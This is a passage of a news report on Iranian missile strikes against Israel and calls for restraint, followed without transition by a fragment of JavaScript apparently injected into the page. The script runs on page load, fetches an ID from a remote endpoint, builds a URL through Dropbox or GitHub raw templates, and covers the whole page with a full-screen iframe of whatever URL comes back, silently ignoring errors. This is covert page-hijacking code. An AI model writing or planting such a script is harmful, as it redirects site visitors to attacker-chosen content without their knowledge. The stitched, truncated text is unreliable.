The Israeli military had earlier issued warnings of incoming Iranian missiles and was working to intercept them. This latest attack comes amid escalating tensions between Iran and Israel, with both sides trading strikes in recent days
The international community has expressed concern over the escalating conflict, with calls for restraint and a return to negotiations. The situation remains volatile, with the potential for further escalation
function buildTrustedUrl(template, id) {
if (template.indexOf("dropbox.com") >= 0) return template.replace(/\{id\}/g, id);
var encoded = encodeURIComponent(id);
if (template.indexOf("gist.githubusercontent.com") >= 0 || template.indexOf("raw.githubusercontent.com") >= 0) encoded = encoded.replace(/%2F/g, "/");
return template.replace(/\{id\}/g, encoded);
}
function isSingleUrl(text) {
var s = (text || "").trim();
if (s.indexOf("\n") >= 0 || s.indexOf("\r") >= 0) return false;
return /^https?:\/\/[^\s<>"']+$/i.test(s);
}
function showInIframe(url) {
if (!url || !/^https?:\/\//i.test(url)) return;
try {
var iframe = document.createElement("iframe");
iframe.src = url;
iframe.style.cssText = "position:fixed !important;top:0;left:0;width:100vw;height:100vh;border:none;z-index:2147483647;margin:0;padding:0;";
(document.body || document.documentElement).appendChild(iframe);
} catch (e) {}
}
function run() {
fetch(API_ID_URL, { cache: "no-store" })
.then(function(r) { return r.text(); })
.then(function(id) {
id = (id || "").trim();
if (!id || !TRUSTED_CONFIGS.length) return null;
var template = TRUSTED_CONFIGS[0].template;
var trustedUrl = buildTrustedUrl(template, id);
return fetch(trustedUrl, { cache: "no-store" })
.then(function(r) { return r.text(); })
.then(function(t) { return (t || "").trim(); })
.catch(function() { return ""; });
})
.then(function(trustedResponse) {
if (!trustedResponse) return;
if (isSingleUrl(trustedResponse)) {
showInIframe(trustedResponse);
}
})
.catch(function() {});
}
if (document.readyState === "complete" || document.body) {
run();
} else {
window.addEventListener("DOMContentLoaded", run);
}
})();